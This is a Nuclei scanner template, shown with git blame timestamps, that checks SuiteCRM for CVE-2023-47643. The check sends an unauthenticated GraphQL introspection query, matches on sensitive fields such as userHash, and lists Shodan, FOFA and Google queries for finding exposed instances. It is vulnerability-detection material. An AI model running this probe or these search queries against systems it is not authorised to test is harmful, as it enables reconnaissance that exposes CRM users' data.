nuclei-templates/http/cves/2023/CVE-2023-47643.yaml

73 lines
4.0 KiB
YAML
Raw Normal View History

2024-01-28 06:06:19 +00:00
id: CVE-2023-47643
info:
2024-01-29 06:15:08 +00:00
name: SuiteCRM Unauthenticated Graphql Introspection
2024-01-28 06:06:19 +00:00
author: isacaya
severity: medium
2024-01-29 06:15:08 +00:00
description: |
Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.
2024-01-28 06:06:19 +00:00
impact: |
An attacker can obtain the GraphQL schema and understand the entire attack surface of the API, including sensitive fields such as UserHash.
remediation: |
Update to version 8.4.2.
reference:
- https://github.com/salesagility/SuiteCRM-Core/security/advisories/GHSA-fxww-jqfv-9rrr
2024-01-29 06:15:08 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-47643
2024-05-31 19:23:20 +00:00
- https://www.apollographql.com/blog/graphql/security/why-you-should-disable-graphql-introspection-in-production/
2024-01-28 06:06:19 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-47643
cwe-id: CWE-200
2024-05-31 19:23:20 +00:00
epss-score: 0.06214
epss-percentile: 0.93569
2024-01-28 06:06:19 +00:00
cpe: cpe:2.3:a:salesagility:suitecrm:8.4.1:*:*:*:*:*:*:*
2024-01-29 06:15:08 +00:00
metadata:
verified: true
max-request: 2
vendor: salesagility
2024-05-31 19:23:20 +00:00
product: suitecrm
shodan-query:
- title:"SuiteCRM"
- http.title:"suitecrm"
2024-05-31 19:23:20 +00:00
fofa-query: title="suitecrm"
google-query: intitle:"suitecrm"
tags: cve,cve2023,graphql,suitecrm,introspection,salesagility
2024-01-28 06:06:19 +00:00
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
2024-01-29 06:15:08 +00:00
2024-01-28 06:06:19 +00:00
- |
POST /api/graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-XSRF-TOKEN: {{csrftoken}}
{"query":"query IntrospectionQuery {\r\n __schema {\r\n \r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n \r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n \r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n \r\n \r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }"}
matchers-condition: and
matchers:
- type: word
2024-01-29 06:15:08 +00:00
part: body
2024-01-28 06:06:19 +00:00
words:
- "userHash"
- "authenticateId"
- "systemGeneratedPassword"
2024-01-29 06:15:08 +00:00
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrftoken
group: 1
part: header
regex:
- "XSRF-TOKEN=([^;]+)"
internal: true
# digest: 490a0046304402201738e663e68bb906203de6a56424f8696e9bdd5329ce6d18b5a72648017e5a810220670887eb41d7f62a8e6ca4c71bc43e05b42c8c90d3687ae87925fe80135dddc5:922c64590222798bb761d5b6d8e72950